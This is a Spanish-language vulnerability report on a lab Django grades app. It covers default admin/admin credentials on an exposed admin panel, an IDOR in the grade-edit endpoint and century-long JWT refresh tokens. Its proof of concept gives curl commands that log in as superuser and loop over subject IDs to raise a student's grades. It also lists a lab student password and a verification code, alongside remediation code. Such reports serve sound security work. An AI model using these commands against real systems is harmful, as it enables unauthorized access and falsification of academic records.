🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Panel Django expuesto con credenciales por defecto e IDOR en notas — adulteración de registros académicos

ID del Ticket	**VULN-2026-003**
Activo evaluado	**Aplicación web «Notas Universitarias» (Lab Notas, Django)**
Severidad	**CRÍTICA** **CVSS v3.1 9.8**
Tipo	**Credenciales por defecto + IDOR / BOLA — CWE-1392 / CWE-639 / CWE-284**
Cliente	**Software Seguro — Laboratorio Notas Universitarias**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 9

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

La plataforma académica deja la **puerta de administración abierta**: el panel de administración de Django está publicado en su dirección habitual y conserva el usuario y la clave de fábrica (`admin / admin`). Cualquiera en Internet puede entrar con control total. Además, una vez dentro, la pantalla que modifica las calificaciones **confía en los números de identificación que viajan en la petición** (el del alumno y el de la materia), de modo que se puede cambiar la nota de **cualquier estudiante en cualquier asignatura**.

¿Por qué importa para el negocio?

Se trata de la **integridad de los registros académicos**, el activo más sensible de una universidad. Un atacante puede alterar notas, aprobar o desaprobar alumnos de forma masiva, acceder a datos personales de todo el padrón estudiantil y, por ser superusuario, incluso **borrar o falsificar información de manera indetectable**. Las consecuencias incluyen fraude académico, invalidez de títulos y certificaciones, daño reputacional severo y responsabilidad legal por manipulación de registros oficiales y por incumplimiento de la normativa de protección de datos (Ley 25.326 en Argentina / GDPR).

¿Qué tan grave es?

Severidad CRÍTICA — CVSS 9.8. No requiere sofisticación: las credenciales por defecto de Django son de conocimiento público y el acceso es remoto. Durante la prueba se accedió como superusuario y se elevaron a 9 las notas del estudiante `benjamin.sosa142` (id 8) recorriendo las materias 1 a 9, incluida *Análisis Matemático I*, obteniéndose el código de verificación del laboratorio.

¿Qué hay que hacer?

De forma inmediata: **cambiar la contraseña del superusuario**, restringir el acceso al panel de administración y corregir el endpoint de notas para que **valide quién puede modificar qué** en el servidor. Son correcciones de bajo esfuerzo y alto impacto.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Toma de control administrativo y adulteración masiva de calificaciones por credenciales por defecto e IDOR	Alta	Crítico	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

Se identificó una cadena de fallos que, combinados, permiten el compromiso total de la plataforma y la adulteración de los registros académicos. Se documentan tres hallazgos.

a) `PRIMARIO` **Panel de administración expuesto con credenciales por defecto.** El panel de administración de Django está accesible en su ruta por defecto (`/admin/`) desde Internet y el superusuario conserva las credenciales

de instalación (`admin / admin`). Esto otorga a un atacante **remoto y no autenticado** acceso administrativo completo: lectura, modificación y borrado de todos los modelos de datos (usuarios, materias, notas).

b) ENCADENADO **IDOR / BOLA en el endpoint de modificación de notas.** El formulario de edición de calificaciones recibe el identificador del alumno (`estudiante_id`) y de la materia (`materia_id`) directamente desde el cuerpo de la petición, y aplica el cambio **sin validar que el actor esté autorizado a modificar ese registro concreto**. Al recorrer secuencialmente ambos identificadores, se alteran las notas de cualquier estudiante en cualquier asignatura (*Insecure Direct Object Reference* / *Broken Object Level Authorization*).

c) SECUNDARIO **JWT de refresh con vida útil excesiva.** Los tokens de refresco emitidos por la API (`/api/token/refresh/`) tienen una expiración extremadamente lejana (campo `exp` del orden del año 2124, ~100 años). Aunque el token fugado por el *infostealer* estaba en lista negra, una vida útil tan prolongada convierte cualquier fuga futura en un acceso prácticamente permanente.

2.2 Flujo del ataque

- El atacante dispone de una cuenta de estudiante válida (`benjamin.sosa142`) y observa sus propias notas.
- Accede al panel `/admin/` y autentica como superusuario con las credenciales por defecto `admin / admin`, obteniendo una sesión privilegiada.
- Localiza el endpoint de edición de notas e identifica a Benjamin Sosa como `estudiante_id = 8`.
- Envía peticiones de modificación variando `materia_id` de 1 a 9 con `nota = 9`, elevando todas las calificaciones del alumno.
- Completado el objetivo, el laboratorio devuelve el código de verificación.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-1392 — Use of Default Credentials · CWE-639 — Authorization Bypass Through User-Controlled Key (IDOR) · CWE-284 — Improper Access Control · CWE-613 — Insufficient Session Expiration (JWT)
OWASP Top 10 (2021)	A05:2021 — Security Misconfiguration · A07:2021 — Identification and Authentication Failures · A01:2021 — Broken Access Control
OWASP API Security Top 10 (2023)	API2:2023 — Broken Authentication · API1:2023 — Broken Object Level Authorization · API8:2023 — Security Misconfiguration
CVE	No aplica (defecto de configuración y de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Notas Universitarias» (Lab Notas) — framework Django
Host	`chl-<instancia>-notas-universitarias.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Superficies afectadas	`/admin/` (panel Django con credenciales por defecto) Endpoint de edición de notas (acción del formulario; parámetros `estudiante_id`, `materia_id`, `nota`) `/api/token/refresh/` (JWT de larga duración)

Parámetros	`estudiante_id` y `materia_id` (cuerpo del formulario)
Dato sensible involucrado	Calificaciones y datos personales de todo el padrón estudiantil; credenciales administrativas
Alcance	Toda la plataforma (control administrativo total + adulteración de cualquier nota)

2.5 Causa raíz

Convergen un defecto de **configuración segura** y uno de **autorización**. Por un lado, el entorno se desplegó sin endurecer: el panel de administración quedó accesible públicamente y las credenciales del superusuario nunca se rotaron respecto de la instalación. Por otro, el endpoint de notas aplica autenticación pero **no autorización a nivel de objeto**: toma el alumno y la materia a modificar de parámetros controlados por el cliente, sin verificar que el actor (p. ej. el docente titular) tenga potestad sobre ese registro. El uso de identificadores numéricos secuenciales facilita además la enumeración exhaustiva.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1. La puntuación principal corresponde al hallazgo primario (credenciales por defecto en el panel expuesto), que define la severidad del reporte.

CVSS Base Score	Severidad	Vector
9.8	CRÍTICA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	El panel de administración se alcanza de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: las credenciales por defecto de Django son de conocimiento público.
Privileges Required (PR)	**None (N)**	No se requiere ninguna cuenta previa: el acceso administrativo se obtiene con credenciales de fábrica.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/autoridad de seguridad.
Confidentiality (C)	**High (H)**	Acceso de superusuario a la totalidad de los datos: notas y datos personales de todo el padrón.
Integrity (I)	**High (H)**	Permite modificar o falsificar cualquier registro académico sin restricción.
Availability (A)	**High (H)**	Como superusuario, es posible borrar registros y usuarios, dejando el servicio inutilizable.

Nota de criterio: la puntuación 9.8 corresponde al hallazgo primario. Evaluado de forma aislada, el **IDOR en la modificación de notas** (hallazgo b) obtiene `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N = 7.1 (Alta)`, ya que presupone una sesión válida; encadenado tras el acceso administrativo, su impacto efectivo es el del compromiso total.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con acceso al laboratorio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta de estudiante del laboratorio: usuario `benjamin.sosa142` / clave `nsdfjklewe..` (id 8).
- Credenciales de superusuario por defecto de Django: `admin / admin`.
- Un navegador web, o `curl` desde línea de comandos.

- El subdominio asignado a la instancia (visible en la barra de direcciones tras iniciar sesión).

4.2 Pasos de reproducción

Paso 1 — Reconocimiento: confirmar el panel de administración expuesto. El panel responde en la ruta por defecto.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-notas-universitarias.softwareseguro.com.ar"

curl -s -o /dev/null -w "%{http_code}\n" "$BASE/admin/login/"
# -> 200: el panel de administración de Django está publicado
```

Evidencia 1 — El panel `/admin/` está accesible desde Internet.

Paso 2 — Acceso como superusuario con credenciales por defecto. Obtener el token CSRF del formulario y autenticar como `admin / admin`.

```
# 1) Tomar la cookie csrftoken de la página de login
curl -s -c cookies.txt "$BASE/admin/login/" -o /dev/null
CSRF=$(grep csrftoken cookies.txt | awk '{print $NF}')

# 2) Autenticar con las credenciales de fábrica
curl -s -b cookies.txt -c cookies.txt -X POST "$BASE/admin/login/" \
  -H "Referer: $BASE/admin/login/" \
  --data "csrfmiddlewaretoken=$CSRF&username=admin&password=admin&next=/admin/"
# -> Sesión de superusuario establecida (sessionid)
```

Evidencia 2 — Autenticación exitosa como superusuario con credenciales por defecto: control administrativo total confirmado.

Paso 3 — IDOR: identificar al alumno y modificar una nota. El formulario de edición de notas acepta `estudiante_id` y `materia_id` del cuerpo. Benjamin Sosa es `estudiante_id = 8`; se prueba con Física (`materia_id = 7`).

```
curl -s -b cookies.txt -X POST "$BASE/<endpoint-de-notas>" \
  -H "Referer: $BASE/home/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "csrfmiddlewaretoken=$CSRF&materia_id=7&estudiante_id=8¬a=9"
# -> La nota de la materia 7 para el alumno 8 queda modificada a 9
```

Evidencia 3 — El endpoint aplica el cambio usando identificadores del cliente, sin validar autorización sobre el registro: IDOR confirmado.

Paso 4 — Adulteración masiva: recorrer todas las materias. Iterar `materia_id` de 1 a 9 para elevar todas las calificaciones del alumno, incluida *Análisis Matemático I* (objetivo del laboratorio).

```
for mid in $(seq 1 9); do
  curl -s -b cookies.txt -X POST "$BASE/<endpoint-de-notas>" \
    -H "Referer: $BASE/home/" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "csrfmiddlewaretoken=$CSRF&materia_id=$mid&estudiante_id=8¬a=9" \
    -w "materia $mid -> HTTP %{http_code}\n"
done
# -> Todas las notas del alumno 8 quedan en 9
```

Paso 5 — Verificación del impacto. Al completarse la adulteración, el laboratorio entrega el código de verificación.

```
# Código de verificación obtenido:
#   660b416167e7fd839bc06c61bb5a184b
```

Evidencia 4 — Objetivo cumplido: las calificaciones del alumno fueron elevadas y se obtuvo el código final, demostrando la adulteración de registros académicos.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
Panel de administración restringido; superusuario con clave robusta; el endpoint de notas responde `403` ante un registro ajeno.	Acceso administrativo con `admin/admin` y modificación de cualquier nota mediante identificadores controlados por el cliente.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. En un entorno productivo no deben alterarse registros reales; la demostración se limitaría a evidenciar el acceso y la modificación de un único registro de control, con reversión posterior.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo y de infraestructura que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) Rotar las credenciales del superusuario y restringir el panel. Cambiar de inmediato la clave de `admin` por una robusta, deshabilitar o renombrar la ruta por defecto y limitar el acceso por red (VPN / lista de IP). Habilitar MFA para las cuentas administrativas.

2) Aplicar autorización a nivel de objeto en el endpoint de notas. Derivar el docente/propietario de la sesión y verificar que tenga potestad sobre el `estudiante_id` y la `materia_id` indicados, antes de escribir.

```
# VULNERABLE: confía en estudiante_id/materia_id del cliente
@login_required
def actualizar_nota(request):
    estudiante_id = request.POST["estudiante_id"]   # <- controlado por el cliente
    materia_id = request.POST["materia_id"]
    Nota.objects.filter(estudiante_id=estudiante_id,
                        materia_id=materia_id).update(valor=request.POST["nota"])
    return HttpResponse(status=204)

# CORREGIDO: valida que el docente de la sesión dicta esa materia
@login_required
def actualizar_nota(request):
    materia = get_object_or_404(Materia, id=request.POST["materia_id"])
    if not materia.docentes.filter(id=request.user.id).exists():
        return HttpResponseForbidden()        # autorización a nivel de objeto
    nota = get_object_or_404(Nota,
        estudiante_id=request.POST["estudiante_id"], materia=materia)
    nota.valor = validar_rango(request.POST["nota"])
    nota.save()
    registrar_auditoria(request.user, nota)   # traza de quién cambió qué
    return HttpResponse(status=204)
```

3) Acotar la vida útil de los JWT. Reducir `REFRESH_TOKEN_LIFETIME` a un valor razonable (p. ej. días, no décadas) y habilitar rotación con lista negra efectiva.

```
# settings.py — SimpleJWT
SIMPLE_JWT = {
    "ACCESS_TOKEN_LIFETIME": timedelta(minutes=15),
    "REFRESH_TOKEN_LIFETIME": timedelta(days=7),
    "ROTATE_REFRESH_TOKENS": True,
    "BLACKLIST_AFTER_ROTATION": True,
}
```

5.2 Mitigaciones temporales

- Bloquear el acceso externo a `/admin/` en el WAF / reverse proxy hasta aplicar el *hardening*.
- Forzar el cambio de clave de todas las cuentas administrativas y revisar cuentas superusuario no legítimas.
- Invalidar (lista negra) todos los refresh tokens vigentes y monitorizar cambios de notas y accesos secuenciales a múltiples identificadores.

5.3 Buenas prácticas de fondo (prevención)

- **Endurecimiento de despliegue**: proceso que garantice `DEBUG=False`, admin restringido y rotación obligatoria de credenciales de instalación antes de publicar.
- **Autorización centralizada "deny by default"**: toda operación de escritura verifica propiedad/rol contra la sesión.
- **Identificadores no predecibles (UUID)** como defensa en profundidad frente a la enumeración.
- **Auditoría y alertas** sobre cambios de calificaciones (quién, cuándo, valor anterior y nuevo).
- **Pruebas automatizadas de autorización**: un test que intente modificar la nota de un alumno ajeno y espere `403`.

5.4 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Rotar clave del superusuario y restringir/renombrar `/admin/`	Infraestructura / SecOps	Crítica	Inmediato	Pendiente
Autorización a nivel de objeto en el endpoint de notas	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Reducir vida útil de JWT + rotación/lista negra	Equipo de desarrollo	Alta	24–72 h	Pendiente
Auditoría de cambios de notas y de cuentas admin	SecOps	Alta	24–48 h	Pendiente
Test de regresión de autorización (A→B = 403)	QA / Seguridad	Alta	Con el fix	Pendiente
Re-test de verificación	Analista de seguridad	Alta	Tras el fix	Pendiente

5.5 Verificación (re-test)

Confirmar que `admin / admin` ya no autentica, que `/admin/` no es accesible desde Internet y que el endpoint de notas responde `403` al intentar modificar la calificación de un alumno sobre el que la sesión no tiene potestad. Verificar además que un docente sí puede operar sobre las materias que dicta y que los nuevos refresh tokens expiran según la política definida.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma el cierre del acceso administrativo por defecto y el bloqueo de la modificación de notas ajenas, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- OWASP Top 10 (2021) — A07 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP API Security Top 10 (2023) — API1 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- CWE-1392 — Use of Default Credentials: https://cwe.mitre.org/data/definitions/1392.html
- CWE-639 — Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- CWE-613 — Insufficient Session Expiration: https://cwe.mitre.org/data/definitions/613.html
- Django — Deployment checklist (hardening de producción): https://docs.djangoproject.com/en/stable/howto/deployment/checklist/
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte y documentación de la cadena: credenciales por defecto, IDOR en notas y JWT de larga duración.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.